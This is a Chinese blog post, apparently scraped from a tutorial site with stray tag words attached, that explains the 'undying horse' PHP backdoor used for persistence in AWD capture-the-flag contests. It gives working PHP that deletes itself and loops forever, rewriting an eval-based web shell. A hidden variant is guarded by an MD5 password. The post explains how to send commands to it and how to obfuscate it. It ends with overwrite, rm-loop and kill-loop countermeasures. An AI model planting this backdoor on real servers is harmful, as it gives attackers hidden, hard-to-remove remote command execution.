不死馬

借鑑文章php

 

不死馬經常使用於AWD模式,用於權限維持,首先上傳一個不死馬,而後訪問該頁面,就會執行不死馬,它會以進程的形式運行,不斷的生成文件,即便被發現也不容易被刪掉,同時注意上傳的目錄是否有權限shell

 

不死馬bash

<?php set_time_limit(0);   //PHP腳本限制了執行時間,set_time_limit(0)設置一個腳本的執行時間爲無限長
 
ignore_user_abort(1);  //ignore_user_abort若是設置爲 TRUE,則忽略與用戶的斷開,腳本將繼續運行。
 
unlink(__FILE__);     //刪除自身
 
while(1) { 
file_put_contents('./shell.php','<?php @eval($_GET[cmd]);?>'); //建立shell.php sleep(0); //間隔時間 } ?>

上傳以後,訪問該頁面,就會不斷生成shell.php,咱們就直接能夠利用shell.php服務器

 

同時爲了防止被其餘人利用,能夠進行修改,用md5驗證,或者其餘利用方法驗證,只要不讓其餘人搭順風車就能夠,在文件前面加個點在Linux系統中變成隱藏文件,以用來隱蔽本身,固然也能夠用其餘編碼或者其餘方法來混淆代碼,讓其餘人看不出來或沒法直接利用編碼

<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.shell.php'; $code = '<?php if(md5($_GET["passwd"])=="76a2173be6393254e72ffa4d6df1030a"){@eval($_REQUEST[cmd]);} ?>'; while (1){ file_put_contents($file,$code); usleep(5000); } ?>

這樣就能夠直接利用URL傳參.shell.php?passwd=passwd&cmd=你要執行的命令; 或者利用菜刀spa

 

被中了不死馬怎麼辦,最簡單的是重啓服務器,而後刪掉木馬文件,但大多比賽沒法重啓服務的權限,不過能夠經過不斷向木馬文件複寫來剋制,前提是寫入速度要大於不死馬的生成速度.net

<?php set_time_limit(0); ignore_user_abort(true); unlink(__FILE__); while(1) { file_put_contents('./shell.php','11111'); usleep(0); } ?>

也能夠用bash不斷的刪除文件code

#!/bin/bash while : ;do rm -rf .shell.php; done;

或者不斷的刪除程序和殺進程blog

<?php while (1) { $pid=xxx; @unlink('shell.php'); exec('kill -9 $pid'); } ?>
相關文章
相關標籤/搜索